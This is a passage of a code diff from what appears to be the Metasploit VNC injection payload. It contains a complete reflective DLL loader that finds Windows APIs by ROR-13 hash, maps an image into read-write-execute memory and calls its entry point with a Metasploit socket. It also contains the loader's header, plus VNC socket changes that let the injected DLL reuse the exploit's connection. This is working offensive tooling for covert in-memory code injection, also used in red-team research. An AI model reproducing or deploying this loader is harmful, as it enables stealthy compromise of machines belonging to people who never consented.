if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( UINT_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( UINT_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
|
||||
/*
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
|
||||
// check if their are any exception etries present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// get the number of entries
|
||||
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
|
||||
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all entries
|
||||
while( uiValueA-- )
|
||||
{
|
||||
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
|
||||
|
||||
// get the next entry
|
||||
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
}
|
||||
}
|
||||
*/
|
||||
// STEP 7: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
{
|
||||
case EXITFUNC_SEH:
|
||||
SetUnhandledExceptionFilter( NULL );
|
||||
break;
|
||||
case EXITFUNC_THREAD:
|
||||
ExitThread( 0 );
|
||||
break;
|
||||
case EXITFUNC_PROCESS:
|
||||
ExitProcess( 0 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_METASPLOIT_ATTACH:
|
||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||
break;
|
||||
case DLL_METASPLOIT_DETACH:
|
||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,197 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H
|
||||
#define _VNCDLL_LOADER_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -98,7 +98,7 @@ VSocketSystem::VSocketSystem()
|
|||
WORD wVersionRequested;
|
||||
WSADATA wsaData;
|
||||
|
||||
wVersionRequested = MAKEWORD(2, 0);
|
||||
wVersionRequested = MAKEWORD(2, 2);
|
||||
if (WSAStartup(wVersionRequested, &wsaData) != 0)
|
||||
{
|
||||
m_status = VFalse;
|
||||
|
@ -118,10 +118,10 @@ VSocketSystem::VSocketSystem()
|
|||
|
||||
VSocketSystem::~VSocketSystem()
|
||||
{
|
||||
if (m_status)
|
||||
/*if (m_status)
|
||||
{
|
||||
WSACleanup();
|
||||
}
|
||||
}*/
|
||||
}
|
||||
|
||||
////////////////////////////
|
||||
|
@ -130,13 +130,20 @@ VSocket::VSocket()
|
|||
{
|
||||
// Clear out the internal socket fields
|
||||
sock = -1;
|
||||
hCloseEvent = NULL;
|
||||
out_queue = NULL;
|
||||
}
|
||||
|
||||
VSocket::VSocket( SOCKET socket )
|
||||
VSocket::VSocket( WSAPROTOCOL_INFO * pSocketInfo, HANDLE hClose )
|
||||
{
|
||||
sock = (int)WSASocket( AF_INET, SOCK_STREAM, 0, pSocketInfo, 0, 0 );
|
||||
if( sock == INVALID_SOCKET )
|
||||
sock = -1;
|
||||
//BREAK_ON_WSAERROR( "[VNCDLL] vncdll_run. WSASocketA failed" );
|
||||
|
||||
// Clear out the internal socket fields
|
||||
sock = (int)socket;
|
||||
//sock = (int)socket;
|
||||
hCloseEvent = hClose;
|
||||
out_queue = NULL;
|
||||
}
|
||||
////////////////////////////
|
||||
|
@ -179,22 +186,19 @@ VSocket::Create()
|
|||
|
||||
////////////////////////////
|
||||
|
||||
extern HANDLE hTerminateEvent;
|
||||
extern HANDLE hCloseEvent;
|
||||
|
||||
VBool VSocket::Close()
|
||||
{
|
||||
if( sock >= 0 )
|
||||
{
|
||||
shutdown(sock, SD_BOTH);
|
||||
#ifdef __WIN32__
|
||||
closesocket(sock);
|
||||
#else
|
||||
close(sock);
|
||||
#endif
|
||||
//shutdown(sock, SD_BOTH);
|
||||
//closesocket(sock);
|
||||
//CloseHandle( (HANDLE)sock );
|
||||
sock = -1;
|
||||
|
||||
SetEvent(hTerminateEvent);
|
||||
SetEvent( hCloseEvent );
|
||||
}
|
||||
|
||||
while (out_queue)
|
||||
{
|
||||
AIOBlock *next = out_queue->next;
|
||||
|
@ -210,10 +214,10 @@ VBool VSocket::Close()
|
|||
VBool
|
||||
VSocket::Shutdown()
|
||||
{
|
||||
if (sock >= 0)
|
||||
/*if (sock >= 0)
|
||||
{
|
||||
shutdown(sock, SD_BOTH);
|
||||
}
|
||||
}*/
|
||||
while (out_queue)
|
||||
{
|
||||
AIOBlock *next = out_queue->next;
|
||||
|
@ -230,7 +234,8 @@ VBool
|
|||
VSocket::Bind(const VCard port, const VBool localOnly,
|
||||
const VBool checkIfInUse)
|
||||
{
|
||||
struct sockaddr_in addr;
|
||||
return VFalse;
|
||||
/*struct sockaddr_in addr;
|
||||
|
||||
// Check that the socket is open!
|
||||
if (sock < 0)
|
||||
|
@ -261,7 +266,7 @@ VSocket::Bind(const VCard port, const VBool localOnly,
|
|||
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
|
||||
return VFalse;
|
||||
|
||||
return VTrue;
|
||||
return VTrue;*/
|
||||
}
|
||||
|
||||
////////////////////////////
|
||||
|
@ -269,6 +274,8 @@ VSocket::Bind(const VCard port, const VBool localOnly,
|
|||
VBool
|
||||
VSocket::Connect(VStringConst address, const VCard port)
|
||||
{
|
||||
return VFalse;
|
||||
/*
|
||||
// Check the socket
|
||||
if (sock < 0)
|
||||
return VFalse;
|
||||
|
@ -314,7 +321,7 @@ VSocket::Connect(VStringConst address, const VCard port)
|
|||
return VFalse;
|
||||
#endif
|
||||
|
||||
return VTrue;
|
||||
return VTrue;*/
|
||||
}
|
||||
|
||||
////////////////////////////
|
||||
|
@ -322,6 +329,8 @@ VSocket::Connect(VStringConst address, const VCard port)
|
|||
VBool
|
||||
VSocket::Listen()
|
||||
{
|
||||
return VFalse;
|
||||
/*
|
||||
// Check socket
|
||||
if (sock < 0)
|
||||
return VFalse;
|
||||
|
@ -330,7 +339,7 @@ VSocket::Listen()
|
|||
if (listen(sock, 5) < 0)
|
||||
return VFalse;
|
||||
|
||||
return VTrue;
|
||||
return VTrue;*/
|
||||
}
|
||||
|
||||
////////////////////////////
|
||||
|
@ -338,6 +347,8 @@ VSocket::Listen()
|
|||
VSocket *
|
||||
VSocket::Accept()
|
||||
{
|
||||
return VFalse;
|
||||
/*
|
||||
const int one = 1;
|
||||
|
||||
int new_socket_id;
|
||||
|
@ -381,7 +392,7 @@ VSocket::Accept()
|
|||
}
|
||||
#endif
|
||||
|
||||
return new_socket;
|
||||
return new_socket;*/
|
||||
}
|
||||
|
||||
////////////////////////////
|
||||
|
@ -389,6 +400,8 @@ VSocket::Accept()
|
|||
VBool
|
||||
VSocket::TryAccept(VSocket **new_socket, long ms)
|
||||
{
|
||||
return VFalse;
|
||||
/*
|
||||
// Check this socket
|
||||
if (sock < 0)
|
||||
return NULL;
|
||||
|
@ -414,7 +427,7 @@ VSocket::TryAccept(VSocket **new_socket, long ms)
|
|||
return VFalse;
|
||||
// Success
|
||||
*new_socket = s;
|
||||
return VTrue;
|
||||
return VTrue;*/
|
||||
}
|
||||
|
||||
////////////////////////////
|
||||
|
@ -466,8 +479,8 @@ VSocket::Resolve(VStringConst address)
|
|||
VBool
|
||||
VSocket::SetTimeout(VCard32 secs)
|
||||
{
|
||||
if (LOBYTE(winsockVersion) < 2)
|
||||
return VFalse;
|
||||
//if (LOBYTE(winsockVersion) < 2)
|
||||
// return VFalse;
|
||||
int timeout=secs;
|
||||
if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR)
|
||||
{
|
||||
|
|
|
@ -81,7 +81,7 @@ class VSocket
|
|||
public:
|
||||
// Constructor/Destructor
|
||||
VSocket();
|
||||
VSocket( SOCKET socket );
|
||||
VSocket( WSAPROTOCOL_INFO * pSocketInfo, HANDLE hClose );
|
||||
virtual ~VSocket();
|
||||
|
||||
////////////////////////////
|
||||
|
@ -171,6 +171,7 @@ public:
|
|||
protected:
|
||||
// The internal socket id
|
||||
int sock;
|
||||
HANDLE hCloseEvent;
|
||||
|
||||
// Output queue
|
||||
size_t bytes_sent;
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="9.00"
|
||||
Name="WinVNC"
|
||||
Name="winvnc"
|
||||
ProjectGUID="{EA6A09AC-04BB-423D-8842-CA48DF901058}"
|
||||
RootNamespace="WinVNC"
|
||||
SccLocalPath="."
|
||||
|
@ -80,7 +80,7 @@
|
|||
IgnoreImportLibrary="true"
|
||||
AdditionalOptions="/MACHINE:I386"
|
||||
AdditionalDependencies="ws2_32.lib"
|
||||
OutputFile="$(OutDir)\vncdll.dll"
|
||||
OutputFile="$(OutDir)\vnc.dll"
|
||||
LinkIncremental="1"
|
||||
SuppressStartupBanner="true"
|
||||
GenerateManifest="false"
|
||||
|
@ -91,7 +91,7 @@
|
|||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
RandomizedBaseAddress="1"
|
||||
DataExecutionPrevention="0"
|
||||
DataExecutionPrevention="1"
|
||||
